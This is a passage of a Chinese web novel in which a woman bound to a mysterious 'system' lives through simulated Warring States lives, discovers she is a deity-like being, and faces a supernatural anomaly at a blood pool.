    “...嗯，以后再说吧。”


    现在有更要紧的问题需要解决。


    “系统，我到底是什么？”茫然、无措、惶恐、哀伤，人类的复杂情绪向系统倾泻而出。


    异常还是神秘，她需要一个准确答案，以此来规划未来的发展路线。


    “合作者需自行探索。”


    “那我换一个问题，系统，我为什么不是异常？”


    “合作者需自行探索。”


    “好，我知道了。”南音笙从枕头堆里爬起来，对着照出自己模样的玻璃道，“晚安。”


    “晚安。”


    脑海里传来回应。

 8. 模拟-雅南

    【模拟开始】


    南音笙回到了虚无之地。


    在临时复活时常完全耗尽前。


    她询问系统，为什么她不是异常，一向追求效率和正确的系统没有反驳，只是要求她自行探索。


    因此南音笙确定了自己现在的身份——神秘。


    荒谬，巨大的荒谬。


    但除非世界上还存在异常、神秘衍生物、神秘以外第四种拥有智慧的非人生命，不然南音笙只能接受这个结果。


    为什么她会成为神秘？


    系统是不是做了什么？


    这些疑惑一闪而过。


    然而往事随风，现在探究这些没有意义。


    现在最重要的，是怎样隐藏好身份，并且获得与身份相匹配的实力。


    毕竟南音笙知道自己的斤两，她只是个普通人。


    而所谓的“神秘”，是这个世界真实存在的“神灵”。


    没有能力者身居高位，只会招来无尽的祸端。


    南音笙在这一个多月的“放风”时间里，调查了许多东西。


    神秘永恒，但每隔一段时间会陆续陷入沉睡，又在某一时刻苏醒。


    古老神秘的来源不可追溯，可在神秘复苏时期，现实世界极小概率会诞生新生神秘。


    新生的神秘十分弱小，只不过世界会在祂诞生后迅速回馈能量，不出片刻就会成长到对人类有威胁的程度。


    可即使如此，在人类倾尽全力的围捕下，新生神秘依旧有沉睡的风险。


    除去来自人类的威胁外，神秘间也不是完全和谐。


    吞噬相近权能的神秘，是祂们获取力量的来源之一。


    新生神秘虽然诞生在现实世界，但当祂们成长到一定程度后，为了避免诞下自己的世界因承受过多能量而毁灭，就会开辟独立空间作为自己的居所。


    然而空间波动不止是神秘离开的条件，也是神秘降临的引子。


    权能相似的存在会在此刻互相吞噬，直到角择出胜者。


    南音笙脑子里的信息转了一圈又一圈。


    她自感弱小，心底发凉，生怕下一秒就当场暴毙。


    就算她一直待在现实世界，前往虚无之地时没有空间波动，也不能保证没有神秘会透过异常或者神秘衍生物，更或者信徒的眼睛发现她。


    强烈的危机感让南音笙对能量的渴望达到顶峰。


    那一瞬间，她的恐惧和渴望超越了对虚无之地的抗拒。


    脱口而出，“系统，回去模拟。”


    【合作者是否使用20点能量抽取天赋？】


    【当前剩余能量值：45】


    系统提示将南音笙从思绪中唤醒。


    她看了看剩余能量值，道，“抽取。”


    【过目不忘（蓝-一级），身强体壮（白-一级），贵人相助（紫-三级）】


    【请选择一项天赋】


    上次模拟结束，系统开启了天赋板块。


    天赋的潜力从低到高分为白，蓝，紫，橙，金五级。


    从天赋中得到的数值加成从低到高，也又分为一到五，五个级别。


    一级的过目不忘增加10点智，一级的身强体壮增加10点体，三级的贵人相助增加30点家境。


    南音笙毫不犹豫的选择了【家财万贯（紫-三级）】


    【家财万贯（紫）：在家庭经受困难时，总会有贵人伸出援手，帮助你度过难关】


    看着天赋简介，南音笙心里的忧虑被抚平不少。


    内耗不如发疯，考虑没有影子的危机不如专注当下。


    【数值分配完毕，人物随机生成中，相关上限已生成】


    【体—15/62，智—45/85，颜—20/90，家境—50，快乐—0】


    家境能解决大部分问题，之前南音笙不在家境上加点，主要是战国时期太不稳定，除非家境数值达到80以上，不然家族随时会面临溃散的风险。


    现在有【贵人相助】，这些就不是顾虑了。


    而只要家境上去了，哪怕身体没有那么健康，也更容易活下去。如果智商再高一些，未来的出路也不愁了。


    有了天赋加成，南音笙感觉这次模拟的分数不会低。


    【0岁：你出生在卫国小族，南姓姬氏，是个女孩，父母健在，家族能称为同辈的只有一个堂兄】


    【你的名字是:__】


    南音笙取名向来随意，随口说了个“南雅。”


    【1岁：你正式取名雅，时人称你为雅南】


    【你的堂兄姬幕被定为下一任族长。】


    【姬幕原本在齐鲁之地游学，收到你出生的消息，正在赶回】


    【体+2，智+1，快乐+1】


    【2岁：你在母亲的带领下初步认识家族】


    【你知道自己是雅南，是卫国南姓姬氏家族族长独女。】


    【母亲臻姜，年38，时人称姬姜，与前夫孙煜育有一子一女，孙煜死后，其子女均留在孙氏。与前夫庆阳育有一子，庆鞅，现于姬氏教养】


    【父亲姬文，法家子弟，年52，除你之外，有庶出子女9人。但庶出之子为奴为仆，庶出之女为滕为妾，不能撼动你分毫】


    【卫国南姓姬氏成员凋零，同辈嫡系仅余两人，你很聪慧，意识到自己需要做些什么来支撑家族】


    【体+2，智+1】


    【3岁：你开始启蒙，你的父兄和姬氏客卿经常为你念‘书’】


    【体+1，智+2】


    【4岁：你继续学习，家族成员都认为你很有天赋】


    【你的堂兄姬幕返家，并且为你带回许多礼物，你很高兴，也很喜欢这位堂兄】


    【姬幕开始跟随姬文巡视领地，处理部分庶务】


    【体+1，智...】


    【5岁：冬日，你不幸感染风寒】


    【姬姜衣不解带的照顾你，染上风寒】


    【姬文在处理事务之余照看你们，感染风寒】


    【姬幕需要侍奉长亲，染上风寒】


    【庆...疾病在南姓姬氏族地蔓延】


    “......”


    古代的流行感冒，说不定会毁灭一个家族。


    【触发天赋：贵人相助】


    【神医-医恪路过南姓姬氏族地，发现有传染病在蔓延】


    【医者仁心，医恪治好了你们的疾病，并且传授了许多卫生知识】


    【智+3】


    【6岁：你继续学习】


    【除去学习知识外，你的母亲也开始教导你】


    【你的母亲告诉你，作为女子，更需要学会拿捏人心】


    【你的父亲姬文年迈，大病初愈，逐渐放权】


    【你的母亲开始掌握家族，姬幕协助庶务】


    【智+5】


    【7岁：你开始学习法家典籍《慎子》】


    【你的聪慧越发显露，家族向你倾斜更多资源】


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    >【你有了私仆五十人，财帛若干，并且数量持续增长】


    【8岁：你开始学习法家典籍《李悝法经》】


    【你的父亲非常宠爱你，在与其他家族族长谈话时，称你为天赐】


    【宁氏族长不屑一顾，用秦国流传甚广的血谭讽刺你——非天赐，实蜚语】


    【你的父亲与宁浦决裂】


    模拟中有一则流言传播甚广，说是秦国一日之间出现了能让人起死回生的血谭，只要喝下血谭水，就能长生不老。


    南音笙最开始还以为是古代迷信，但转念一下想......


    “系统，血谭是不是异常？”


    “合作者，你需要自己去寻找答案”


    “所以，那真的是异常！”


    “......”


    系统不语，但是乐见其成。


    南音笙越能明白祂的潜台词，越证明她不是蠢人、能干聪慧。


    而祂也只需要聪明能干的合作者。


    【9岁：你的聪慧在卫国闻名】


    【有人慕名前来，想要收你为徒】


    【你的父亲姬文都拒绝了】


    虽然对于孩童来说，60点的智慧已经够到成为神童的门槛。


    但也仅仅是够到门槛。


    南雅做的每一件事都需要南音笙斟酌，甚至有些知识还需要代答。


    如果考教南雅时，南音笙不知道答案，那模拟人物也不会知道。


    还好模拟的界面可以回翻，不然南音笙感觉南雅这辈子都得不到“神童”的称呼。


    而名气在战国函夏又十分重要，不然也不会有人主动上门收雅南为徒。


    毕竟得到一个神童徒弟，老师的名气也会更上一层。


    南音笙很满意别人冠上的“神童”称号。


    【10岁：姬文年老，精力不济，彻底放权】


    【你的母亲臻姜完全掌控家族】


    【你的父亲认为卫国会耽误你，准备带着你去法家盛行的秦国学习】


    【你们备好了行李，挥别亲长，前往秦国】


    【你的兄长庆鞅同往】


    【体+1，智+2，颜+2】


    【11岁：你随父亲抵达秦国】


    【体......】


    【12岁：你随父隐居秦国国都岳阳郊外，姬文收徒讲学，并且开始传授你为官之道】


    【13岁：你跟随姬文学习】


    【14岁：你跟随姬文学习】


    【15岁：你跟随姬文学习】


    【及笄之礼，秦王赐你金五百，锦百匹】


    【姬文受秦王招揽，为法学博士】


    【你若有所思】


    【智+3】


    【16岁：各家族开始请媒人说亲，希望娶你为新妇】


    【你的父亲都拒绝了】


    【你的父亲询问你，是否有心仪之人，或者你想在人世间过何种生活】


    【你答：皆可】


    【17岁：你与赵王氏宗亲赵鹉订婚，家产陪嫁从卫国运到岳阳，一名庶姐，一名庶侄女为媵妾。】


    【你拒绝了陪嫁滕妾】


    【庶妹和庶侄女苦苦哀求，祈求你不要拒绝家族的安排】


    【你最终同意了】


    【18岁：你与赵鹉大婚】


    【姬文嘱咐你，紧握手上的权利才能无忧的生活下去】


    南音笙操控着模拟人物作出回应。


    【雅，谨记】

 9. 模拟-雅南

    【19岁：你为王室妇，王后召见你，你们交谈甚欢】


    【时人为表尊敬，开始称呼你为夫人，卫姬夫人】


    【20岁：你怀孕了，但你身体强壮，没有受太多苦】


    【21岁：你生下一对龙凤胎，分别取名为___】


    “南昙，南季”


    既然是她操控的模拟人物的孩子，当然要跟着她姓。


    只不过战国时期，女性的名字是名+姓，男性的名字是氏+名，而且都是从父，所有她取的名字只派上一半用场。


    【姐姐昙嬴，弟弟赵季，王室宗亲很满意双胞胎的诞生】


    【你开始接触赵王氏宗族事务】


    【22岁：姬文不禄】


    【你同堂兄姬幕扶棺回乡，守孝三年】


    【姬幕成为族长，却只能从旁协助事务，家族权利还在你母亲手里】


    【三年间，你深居简出，同母亲学习管理家族，驭下手段，并且颇具成效】


    【25岁：服孝期结束，赵鹉前卫接你回秦】


    【26岁：你的母亲臻姜逝世，你协子女与赵鹉前卫奔丧】


    【三年间，你跟随姬幕学习学问，乔装打扮巡查领地】


    【29岁：你携母亲陪嫁以及姬氏家产两成，并其兄庆鞅返秦国新都咸阳】


    【30岁：赵鹉官至博士】


    【赵鹉父母具亡，与其兄不和，约定老死不往】


    【31岁：你频繁出入王宫，与王后、太后关系融洽】


    【32岁：在你的运作下，庆鞅官至雍郡郡守】


    【庆鞅辞别】


    【33岁：你开始深入管理赵王氏宗亲族务】


    【34岁：你博学多才，聪慧伶俐，还是赵氏妇，秦国王室完全接纳了你】


    【你得知——血谭真实存在】


    【太后告诉你，有人溺于血谭七日，死而复生，皮肤白皙如返老还童】


    “是返老还童？还是觉醒了神秘向？”


    南音笙回忆着现实世界的资料，官方给出的信息中，异常都是具有污染的，只不过污染方式各不相同。


    按照王后的说法，血谭的污染方式应该就是进入血池，或者沾染血谭水。


    而返老还童，可能是在水下的七天里，那人度过了神秘觉醒的萌芽期，直接破茧后，能量修复了身体。


    古代的仆人本就操劳，皮肤快速新陈代谢，效果和返老还童应该差不多。


    还有可能是觉醒的神秘向，表现效果为返老还童。


    至于在水里待七天不死，可能是异常的特性，也可能是神秘向。


    但无论如何，血谭是她在模拟中得知的第一个异常或者神秘衍生物


    南音笙必须去看一看，如果可以，最好弄到一点血谭水。


    【35岁：你开始在赵王室族中争夺更多权利】


    【36岁：昙嬴（南昙）及笄，你决定将她嫁予丞相魏冉独子】


    【昙嬴（南昙）与魏平订婚】


    【37岁：你持续讨好王后和太后，在族中争夺权利】


    【宗族事务大多移交到你手上，你在宗族中大权在握】


    【38岁：昙嬴（南昙）与魏平大婚，从此被称为魏嬴】


    【你得到太后首肯，前往血池】


    【你得到一瓢血池水】


    “系统，如果现在南雅死了，这次模拟能及格吗？”


    “可以，但是模拟评分70以下，不能继承天赋”


    ”并且下次天赋抽取需要40点能量，不会有运气加成。”


    言下之意，如果合作者作死，需要好好想想是否能承担后果。


    “我知道了，但我想试试。”


    一种强烈的直觉击中了南音笙，让她想要沉入血池底，但这是不可能的。


    所以她退而求其次，准备喝下血谭水。


    这是她第一次在模拟中接触异常，如果模拟人物破茧为解密人，那她的评分一定会很高。


    如果没有，南音笙也想试探，真实存在于历史中的人物接触神秘力量，是否是系统期望的。


    南音笙记得很清楚，系统通过历史偏差获取能量。


    有什么偏差，比唯物世界变为唯心世界的差别更大呢？


    南音笙怀疑，血谭，异常，神秘衍生物都是系统的手笔。


    至于她的作用......也许是某种媒介。


    【你饮下血谭水】


    【你进入萌芽期】


    【39岁：你成功破茧，神秘向￥#%&#%&%】


    “系统？”


    为什么界面上的神秘向是一堆乱码？


    “合作者请稍等”


    【你获得天赋：午夜梦回（金-一级）】


    南音笙一惊，金色天赋！


    但怎么回事？神秘向变成了天赋？


    “合作者，模拟人物接触的能量都会汇总到总界面，变为能量点或者天赋。”


    “因为某些原因，除非合作者亲身操控模拟人物，否则模拟人物无法使用神秘向。”


    南音笙不解，“我不是一直在亲自操控吗？”


    “亲自操控，是指合作者的意识进入模拟人物。”


    “我的意识还能进入模拟！”


    她怎么不知道？


    如果能夺舍，南音笙绝不会累死累活，在虚无之地无能发疯，而是早早抛弃人性，在模拟人物的身体里复活。


    上辈子，她确实受到集体大于个人，尊重他人利益的教育。但那是在保证自己有余力的情况下。


    在自身难保时，南音笙将是最利己的那种人。


    她的所作所为，都只会为了争取更多“利益”。


    “合作者冷静，以前能量不足，无法提供更好的模拟条件，但是现在有了相关天赋。”


    【午夜梦回（金-一级）：夜晚降临，神秘会回到载体】


    “神秘会回到载体？”


    原本激昂的心突然冷却。


    南音笙没有感觉到任何惊喜，她语气平静，一字一顿，“系统，我需要一个解释。”


    为什么她是神秘，系统必然知道原因。


    为什么突然摊牌，难道是因为模拟中已经出现了异常？


    后一个问题显然比前一个问题实际，但是天真单纯的南音笙必须表达出自己的所有疑惑。


    系统没有正面回答，而是说，“请合作者努力模拟，获取更多能量。”


    能量足够前，祂不会再透露更多消息。


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    >强压下情绪，南音笙垂眸，看不出喜怒的继续模拟。


    没关系，她安慰自己。


    无论答案是什么，她都只有继续模拟一条路可以走。


    与其被各种顾虑绊住手脚，不如专心一致。


    *


    【40岁：赵季（南季）聘蒙氏长女韬姜为妻】


    【主动触发天赋：午夜梦回（金-一级）】


    南音笙在通明的烛火中睁开眼，此时年长的女性正坐在上座，衣着华丽，形态端庄。


    她的视线扫过下方的宾客，亲朋好友，利益关联者们都在饮酒作乐，没有注意到她的变化。


    “昙儿，季儿都已成家，你也不用太过操劳了。”身旁传来带着笑意的男声，南音笙转头，看见一位儒雅的中年男子正温柔注视着自己，“之斐，我知你端雅，但季儿大婚，定希望你开怀，你...”


    赵鹉的笑陡然僵住，他注视着南音笙的眼睛，将里面的冷漠看得分明。


    她不是他之妻，祂是赋予之斐生命与才华的神灵。


    每当之斐作出决定时，她的眼里就会流露出相同的冷漠，平静，理智，似神非人。


    赵鹉微微低下头，不去直视祂的眼睛。


    心里却无数次想起岳丈说过的话。“雅南为天赐，神尊时常透过她的眼睛观察万物。”


    岳丈，真的只是用眼睛观察吗？


    之斐美好美丽，他求娶之后真心以待，但之斐对他的心意却如同泡影。他时常感觉自己与一缕风结为夫妻。


    或者说，神女入凡尘，却非凡人，而他是俗人，只能永远观其背影。


    南音笙听见他对自己的称呼，意识到这是雅南的丈夫，赵鹉。


    雅南，时人尊称的卫姬夫人，字之斐。


    见赵鹉低着头不再说话，南音笙也没有主动搭话的兴趣，继续看着下方的宾客。


    赵氏宗族的大部分权利在雅南手里，哪怕赵鹉意识到她不是雅南，也不会对她造成为威胁。


    而且，如果真有雅南这么一个意识体，她也不会希望有人披着她的壳子，伪装成她丈夫的妻子。


    “合作者，如果没有模拟，世界上不会出现雅南，她的思想和行为完全由合作者控制，所以合作者不要有负担。”


    ‘嗯，我知道。’


    系统总认为她善良纯真，南音笙发自内心感谢它的“信任”。


    *


    婚宴很快结束，南音笙挥退仆从，一个人提着灯在院子里散步。


    没走多远，就发现一颗巨大的银杏树，底下还有石桌石凳。桌凳干净，应该有人经常打扫。


    南音笙把灯放在石桌上，坐凳赏月。


    月如弯刀，皎洁明净。


    有了【午夜梦回】这个金色天赋，她再也不用担心虚无之地的孤寂和荒芜，不过模拟还是要认真的，不止系统需要更多的能量，她更需要。


    南音笙想东想西的时候，一群人浩浩荡荡的往她的方向走来。


    昙嬴在大批仆从的拥护下，走到雅南所在的院子外面，然后一个人进了院子。


    她到不是想要寻找母亲，只是单纯烦闷，以为院子里没人，想要静静。


    结果闷着头走，再抬头，发现南音笙眼也不眨的注视着她。

 10. 模拟-雅南

    “你是...南昙？”


    南昙，模拟人物雅南的女儿


    “阿母。”昙嬴行礼，仪态优雅，娴静淑丽。


    南音笙看得专注，实在是南昙太好看了。


    90的外貌点数，让面前的年轻女子美如天仙，气质清冷绝尘，高岭兰花般傲然独立。


    毫不夸张的说，只要她站在那里，整个空间都在发光。


    但随即，南昙的称呼唤醒了她。


    阿母......


    异常酒鬼，同样称她为阿母。


    因为她是神秘，所以酒鬼最后成为了非人。


    但是它不应该是神秘衍生物吗？为什么会是异常？


    而且她模拟过上千次，有后代的也不少，难道那些“后辈”都变成了异常或者神秘衍生物？


    “阿母。”见母亲没有搭理自己，昙嬴又唤了一声。


    “嗯，坐吧。”


    两人隔着石桌，面对面坐着，相对无言。


    南音笙不觉尴尬，昙嬴却不能让气氛沉默，开口道，“阿母怎叫称我南昙？这称呼真好听。”


    说着，昙嬴还微微歪头去看南音笙的表情。


    紧接着却变了脸色。


    母亲眼里的欣赏清晰可见，但那不是欣慰女儿长大的眼神，而是遇到好看的物件，可有可无般的赞赏。


    这不是她的母亲，不，不对，这不是平常状态下的母亲。


    她的母亲从来不会流露情绪，眼里要么平淡沉静，要么冰冷理智。族中长辈欣慰于母亲的可靠。


    但只有她，阿季和父亲明白，母亲不仅是可靠，更是无所谓世间的一切。


    但现在，母亲的眼里浸满欣赏，哪怕高高在上的欣赏让昙嬴毛骨悚然。


    昙嬴坐得笔直，微微低头。


    “因为我给你取的名字就是南昙，你的弟弟叫南季。”


    “现在看来这名字真没取错，你比昙花还好看。”


    昙嬴，不，南昙的头垂得更低了。


    南音笙看着面前的人，忽然意识到无论是赵鹉，南昙还是仆从们，好像都怕她。没有一个人敢直视她的眼睛。


    所以，雅南在他们眼中是个什么形象？


    “别怕，你心情不好，怎么了？”南音笙还记得她最开始埋头走路的样子。


    南昙呼吸一窒，满心慌乱，但还是说了实话，“昙与丞相不睦，愧对阿母。”


    南音笙想起来了，为了拉拢丞相，南昙嫁给了丞相的独子魏平，但在婚前，南昙好像有喜欢的人。


    一位有妻有子，天真落魄的儒家学子。


    “......”只是文字模拟还没什么感觉，但现在上升真人...南音笙突然感觉“自己”不算个好母亲，为了利益能牺牲女儿。


    但南昙又怎么回事？有妻有子，居然还喜欢。


    “......因为你不喜欢魏平？”


    南昙猛地抬起头，又在下一刻冷汗津津的恭敬垂眸。


    愤怒，怨恨，悲哀，恐惧...南昙压抑着情绪，应“是。”


    “如果你实在不喜欢，可以解耦。”解耦，也就是和离。


    血谭水已经得到，雅南这位模拟人物的评分也达到了标准，丞相的助力不再是必须。


    更何况，有权的宗室和丞相的家族结合，本来就是一种利益交换，魏冉是聪明人，如果她坚持，并给出足够赔偿，魏氏会放南昙离开的。


    但如果魏冉因为独子感情不顺，作出不理智的行为...


    那也没关系。


    赵氏宗族不惧，雅南的小家也有【贵人相助】，总能坚持下去，说不定还能在史书上留下一笔爱恨情仇。


    不过......


    “有妻有子的学子你就不要想了。”


    南昙一颤。


    南音笙话里的关心被她捕捉到了，莫名的勇气涌入，南昙缓慢而坚定的仰起头，直视南音笙的眼睛。


    果然，阿母没有计较她的不敬。


    “阿母...”她极力让自己的声调平静，但尾调仍有颤音，“为什么，那您为什么要让昙嫁与丞相子！”


    南音笙看着南昙的样子，下意识扬起僵硬的笑掩饰心虚，“因为有必要。”


    “我需要魏冉的势力。”


    “权势，才是能让我们无忧生活下去的筹码。”


    南音笙感觉南昙下一秒就要哭了，美人垂泪总让人不忍心。


    “但现在，好像没那么需要了。所以，随你选择吧。”


    南昙没有哭，只是痛苦的闭上眼，质问道，“难道您以后就不会因为权势，将昙舍出去吗！”


    “权势权势，昙不及权势重要，阿父不及权势重要...您的眼里只有权势，也看看我们吧！”


    “难道人间走一遭，您不追求红尘，只为权势？”


    “那您亮出身份，让天下人俯首称臣如何！”


    “神尊降世，谁敢不从！”


    “何必...”南昙势不可挡的气势陡然腰斩，终于忍不住掩面痛哭，“何必要我们这些血亲累赘。”


    南音笙的笑更僵了。


    神尊降世，谁？


    她？


    她才刚刚得到答案，他们就知道了？


    “我是一俗人，你误会了。”无论如何，死不承认。


    在模拟世界中，她没有展现过任何特殊能力，他们猜她是“神尊”，毫无根源。


    南昙听见回答却更难受了，以袖掩面，无声落泪。


    她从小就知道自己的母亲非凡人，阿母能记得经历过的所有事，能知道他们极力隐瞒的消息，能轻松得知天下秘闻。


    阿母可以不食不眠，脸上永远轻笑，但眼里无光无温。


    她在做决定的时间外，只是一具行走人间的空壳，而操作者透过这具躯壳的眼睛和身体，游戏人间。


    他们只是她游戏中的消遣。


    南昙感觉每一次呼吸都在灼烧心肺，针扎般的苦痛源源不断地涌出。


    长久以来的压抑在此刻爆发。


    凭什么！


    凭什么他们卑微至此，在名为血亲实为控制者的手里瑟瑟发抖！


    是，他们是凡人。


    然而凡人不屈，也想同祂平起平坐，甚至......


    南昙脸上的泪痕还没有干，甚至眼泪流的更凶了。


    但她眼里光彩逼人，直瞪瞪同南音笙对视，“阿母，您要多少权势。”


    “昙若掌权，可否与您同席！”


    南音笙能说不吗？


    她只是否认了一句，就看见南昙一会气，一会哀，情感变化丰富多彩，泪水也止不住的流...


    她虽然不心疼，但也不想看美人落泪。


    所以，随她去吧。


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    “随你，如果你想就试试。”


    只一句话，就让南昙绽放出绝不属于贵族淑女的笑，鲜活，喜形于色，如明烈骄阳，又像是找到生命的目标，从此云开雾明，坚定决绝。


    但她脸上的泪痕尚在，配着这笑，略显...疯癫。


    南音笙还在心里感慨这孩子有点疯，就听南昙道，“阿母想要怎样的权势？”


    “家族里说一不二，整个宗室都听您的意见？还是朝野中只手遮天，连王侯都要避其锋芒？”


    “阿母，昙...”南昙的眼里闪过思索，嘴角上扬，眼神流转，看起来十分“精神”，“昙虽不才，必能教养您的外孙成才，届时...呵呵呵...”


    “......随你。”


    油灯燃尽，夜色中，只有皎月注视着两人。


    南音笙坐在石凳上，借着月光看着南昙咯咯咯的笑。


    说实话，如果上辈子的南音笙站在这里，一定会被吓得瑟瑟发抖。但现在她不仅不害怕，还能快速剖析南昙的为人。


    南昙在“雅南”的“威慑”下长大，重压让她渴望脱离，渴望尊重，渴望反抗权威。


    所以她喜欢上一位有妻有子的普通学子，与魏平结为夫妻后明晃晃表现不喜，又在家族面前装可怜，阳奉阴违。


    可家族的教育让她顺从长辈，时代的局限让她没办法定下太“高”追求。所以，其实对于家族来说，南昙的反抗不痛不痒，完全可以随她去。


    而且...


    南昙在自己无意识中，已经开始操控下一辈的人生，只为达到自己的目的，并且不觉得有问题。


    她在模仿她的长辈，她在尝试成为另一位“神尊”。


    南昙是普世意义上的疯子，还是有地位，有能力，有权利的疯子。


    她一定会搞出大事。


    但这有什么关系呢？


    南音笙噙着笑，安静注视着边笑边哭的南昙。


    南昙越疯，对她越有利。


    除去掌权者外，历史上只有两种人能留下姓名，野心家和疯子。


    而模拟人物及其后嗣历史留名，意味着模拟评分增加，意味着更多能量，意味着百利而无一害。


    “南昙，你怀孕了。”系统显示，她已经怀孕一个半月。


    南音笙堪称温柔的摸了摸南昙的头，“孩子的名字想好了吗。”


    南昙兀地噤声，神色惊恐的捂住小腹，随后又放下手，苍白着脸去看她的母亲。


    声音颤抖，“阿母唤我南昙，那孩子取名南梦如何。”


    “日后，昙的后辈都以南为姓如何！”


    她丝毫没意识到，这些想法在这个时代有多叛逆，实现的可能有多低。


    南昙只是遵从内心的想法，真心实意在此时定下目标。在超越南音笙的权威前，仰望，追随，恐惧又仰慕着自己的母亲。


    在阿母口中，她和阿季都在名前冠上母亲的姓，那她的孩子也应如此。


    而她不知道母亲口中的昙花为何物，期望梦中一见。


    “好名字。”南音笙诚心夸赞。


    都以南为姓，神秘的血裔，存在悠久。


    ......


    函夏的南姓世家啊。


    言严和南赴栢看人还是准的，某种意义上，她真的是“南家人”。


    是南赴栢“失散多年”的血亲。

 11. 模拟-雅南

    【41岁：你的女儿南昙诞下一子，取名南梦，时人称蒙溪】


    系统真委婉，南音笙嘴角上翘。


    取名南梦，但是时人称蒙溪，不就代表着除了南昙外，没有人认可这个名字吗。


    【42岁：你的儿媳韬姜诞下一女，取名南苓，时人称苓嬴】


    南音笙在夜晚见过两个小孩，南梦圆润可爱，喜欢黏着大人，很乖巧。


    南苓安静，不哭不闹，也不喜欢被逗弄，但是眼珠子滴滴转，是个小灵精。


    孩子很可爱。智慧，外貌和体质的极限点数全都青出于蓝，但南音笙只主动去见过他们一次。


    在南姓世家化虚为实前，每一代都有一个南家人成为模拟人物，成为她午夜梦回的“容器”。


    如果长期相处，培养起感情......


    哪怕南音笙没有道德，依旧不想给自己增加心里负担。


    在【午夜梦回】的加持下，“雅南”已经不需要睡眠了。


    大多时候，南音笙都是一个人在夜色里赏景，散步，记下各种现代的技术，让人研究。


    偶尔南昙回家，听她兴致勃勃的诉说各种趣事。


    白日里，她就操控着模拟人物继续壮大家族，“亲近”后辈，夺权，赚钱，收集天下异常的消息，并且分门别类记录下来。


    随着秦国血谭的传言被更多人知道，世界终于不再平静，各种邪异的故事如雨后春笋般往外冒。


    虽然大多数消息都是以讹传讹，但是南音笙还是通过筛选出的真实信息，捕获了几种低危异常物。


    在雅南53岁时，酒鬼的消息也出现了。


    【53岁：你受到王太后传召】


    【王太后告诉你，血池异变，所有靠近的人均化为醇香的酒水。】


    【而你为王室妇，你为王之亲长，你为天赐，合该尽一份力】


    【你同意了，“孤身”前往血池】


    【主动触发天赋：午夜梦回（金-二级）】


    南音笙在牛车上睁开眼，驾车的仆人日夜兼程，现已进入重兵把守的区域。


    距离血谭不过千米。


    牛车太颠簸，南音笙叫停了仆人，留下一路跟随的三百奴隶，独自一人走向血谭。


    越靠近血谭所在地，酒香就越浓郁，不过醇香中夹杂的一丝苦味让南音笙眉头紧皱。


    又是这种苦味。


    一种直冲神经，夹着酒香的苦味，它似乎通过嗅觉进入大脑，然后转变为悲伤、痛苦等情绪。


    让人瞬间意识到，制造酒水的人正悲痛难忍。


    但是王太后给的信息中没有提及。


    南音笙回头去看停在远处的奴隶们，顿了顿，放弃了让他们上前的想法。


    算了，不值得。


    没有什么比神秘本身下场效率更高，哪怕是散装的神秘。


    南音笙理了理裙摆，满目庄严推开血谭所在小院的院门。


    然后...没推动。


    加大力气，还是没推动。


    “......”


    场面有点尴尬，好在现场只有她一人。


    不对，真的只有她一人吗？


    莫名的直觉让南音笙猛然转身。


    皮肤青紫，长相成熟却丑陋的幼童神色阴狠，没有眼睑的突出眼球死死盯着她。


    这鬼东西就是酒鬼！


    两千多年前的酒鬼。


    不等南音笙开口，原本卡住的门框倏然倒塌，眨眼间化为酒液，浸湿了她的衣摆和鞋袜。


    这里不是密封空间，院门化成的酒水很快流走。


    清风吹过，带有草木气息的醇香迅速飘远。


    原本就没有笑模样的南音笙沉下脸，与它面对面对峙。


    “酒鬼，你知不知道自己在做什么？”


    在两千多年后的现实世界，它可不是这个态度。


    酒鬼虽然没有除污染外的攻击手段，但也没有纯正的实体，物理攻击对其无效。


    而雅南并非纯粹的能量构成，无法从能量层面进行攻击。


    所以南音笙意识到血谭处的异常是酒鬼时，就打算用身份压它，却没想到出现这样不上不下的局面。


    酒鬼没有说话，只不过嘴角逐渐翘起，似乎在等待南音笙皮肤破裂，炸出醇香的酒液。


    特别是随着一阵高过一阵的尖叫从远处传来，它眼中的恶意越发明显。


    “酒鬼。”南音笙心底发沉，意识到酒鬼没有认出自己。


    与酒有关的模拟人物在她脑海里闪过，南音笙一名一顿往外念，“达，的胡......楼夏，荷”


    酒鬼在荷字出口的瞬间面露狰狞。


    它是荷的孩子！


    “无名。”南音笙念出来系统对酒鬼的称呼。


    酒鬼一颤，脸上拟态的血肉挤做一团，大颗的水珠从眼球冒出，衬得它越发丑陋。


    “你从哪里得知这些名字！”


    它扑向南音笙，呛鼻的酒气混着苦味将南音笙淹没。


    南音笙没有回答，暗示般反问“你在痛苦什么？你在怨我？”


    “等你一点点化成酒，就不会再像现在这样说浑话。”酒鬼没有听懂暗示，反而以为南音笙不愿意回答，出言恐吓。


    “你的肺腑会变成酒糟，心肝腐烂，酿造血肉，你会变成鼓囊囊的人皮袋子，一戳即破。”


    “你是贵族？你的家族派你来祈死，回答问题才有命可活！”


    “闭嘴，我怎么有你这么蠢的儿子。”


    酒鬼猛然僵住。


    “三百奴都因你而死，难道你为异诡后就能抛弃曾经吗。”


    异诡，时下贵族对异常的称呼。


    南音笙没有资本去纠正模拟人物后嗣的所作所为，更没有多余的精力去关心无关人员的死亡。


    但是她需要套取情报，“回收”酒鬼，所以必须利用一切可利用的资源。


    哪怕手段不算光彩。


    酒鬼原本停滞的眼泪开始澎湃。


    他是奴隶子，死前仍是奴隶，他的过往早被时间遗忘，唯有亲人存有记忆。


    因此，面前之人的确是自己的母亲。


    “阿母。”无名颤抖着，在巨大的悲痛和委屈中倾诉。


    “安身死，安绝于您自戕之地。”


    安，模拟人物荷的女儿。


    南音笙曾希望她平安一世。


    【天赋：午夜梦回（金-二级）触发结束】


    【53岁：名为安的平民闯入王室重地——血谭，并自入血谭，身死消亡】


    【尔后，血谭周遭常有酒气弥漫，触者即死】


    【王太后命令你独自前往解决】


    【你遇见神秘衍生物“无名”，成功说服它与人为善】


    【你完成了王太后的任务】


    【冬日，你返回王宫觐见王太后，质问她为什么不将曾经有人闯入的情报告诉你】


    【王太后告诉你，“无氏无族之人，无风无浪”】


    南音笙看着那一行字，眼底迸发出惊人的戾气。


    没有姓氏，没有家族的人，在高位者眼中不可能掀起风浪。


    王室的傲慢和残忍可见一斑。


    他们认为安不重要，所以没有告诉南音笙她曾经闯入血谭。


    他们认为雅南不重要，所以高高在上地命令【王室妇】前往送死，或者利用所谓的【天赐】解决他们的麻烦。


    王室，王室......


    权势......


    “唯有紧握手上的权势，才能无忧的生活下去。”姬文曾经说过的话突然闯入南音笙的脑海，让她不自觉念出声。


    “合作者，你能明白就好。”系统的电子音从未有过起伏，“只有我和能量才是你的依靠，有我们的存在，你早晚会站在权利之巅。”


